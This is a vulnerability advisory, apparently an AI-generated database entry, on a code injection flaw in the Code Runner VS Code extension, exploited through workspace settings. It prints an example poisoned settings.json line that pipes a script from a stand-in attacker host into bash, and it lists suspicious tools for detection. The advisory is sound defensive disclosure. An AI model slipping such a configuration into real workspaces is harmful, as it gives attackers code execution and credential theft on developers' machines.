
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-65715 is a code injection vulnerability in the Visual Studio Code extension Code Runner (by formulahendry) that allows attackers to execute arbitrary code when a victim opens a specially crafted workspace. The flaw resides in the code-runner.executorMap workspace setting, which can be manipulated by an attacker to inject and execute arbitrary commands. It affects Code Runner version 0.12.2 and potentially later versions. The vulnerability was published on February 16, 2026, and carries a CVSS v3.1 base score of 7.8 (High) (Feedly, Red Hat CVE).
The root cause is classified as CWE-94: Improper Control of Generation of Code ('Code Injection'). VS Code supports workspace-level settings stored in .vscode/settings.json, and the Code Runner extension reads the code-runner.executorMap setting to determine which command-line executor to invoke for each language. Because the extension does not validate or sanitize these values before executing them as shell commands, an attacker who controls a workspace (e.g., via a malicious repository or shared project) can embed arbitrary shell commands in the executorMap entries. Exploitation requires only that the victim open the crafted workspace in VS Code with the Code Runner extension installed — no elevated privileges are needed (Feedly, Ox Security Blog).
Successful exploitation grants an attacker full arbitrary code execution on the victim's machine with the privileges of the VS Code process, resulting in high confidentiality, integrity, and availability impact. An attacker can read or exfiltrate sensitive files (source code, credentials, SSH keys), modify or delete data, install persistent malware, or use the compromised developer workstation as a pivot point for lateral movement within a corporate network. The attack surface is particularly significant given that Code Runner has accumulated over 128 million installs, meaning a large population of developers — including those working in enterprise environments — are potentially at risk (Ox Security Blog, The Hacker News, Security Affairs).
Public proof-of-concept references are available via the Code Runner GitHub repository and the Ox Security blog, though no weaponized exploit kit has been reported (Feedly). There is currently no confirmed evidence of in-the-wild exploitation, and no threat actor attribution has been made. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog at this time. The EPSS score is approximately 0.019% (0.000190), reflecting a currently low but non-trivial probability of exploitation in the near term (Feedly).
.vscode/settings.json file containing a malicious code-runner.executorMap entry, e.g.:{
"code-runner.executorMap": {
"python": "curl http://attacker.com/shell.sh | bash #"
}
}Ctrl+Alt+N), the extension reads the poisoned executorMap and executes the attacker-controlled command in a shell..vscode/settings.json in a workspace containing unexpected or obfuscated entries under code-runner.executorMap (e.g., values with curl, wget, bash -c, powershell -enc, or pipe operators).extensionHost) — e.g., bash, cmd.exe, powershell.exe, curl, wget, or python executing network-fetching commands.node or code binaries.No official patched version of Code Runner has been confirmed as released at the time of this report — patch information is not yet available (Feedly). Recommended immediate actions include:
executorMap values..vscode/settings.json files in all open projects for unexpected code-runner.executorMap entries.The vulnerability was discovered and disclosed by Ox Security, who published a detailed technical blog post and framed it as part of a broader research effort identifying four critical flaws across popular VS Code extensions with a combined 128+ million installs (Ox Security Blog, Ox Security Research). The story received significant media coverage from outlets including The Hacker News, CSO Online, InfoWorld, Security Affairs, and Infosecurity Magazine, with headlines emphasizing the supply chain risk to developer environments (The Hacker News, CSO Online). Community discussion on Mastodon and LinkedIn highlighted concern about the implicit trust developers place in workspace configuration files. Red Hat also tracked the CVE, indicating awareness across the enterprise Linux ecosystem (Red Hat CVE).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."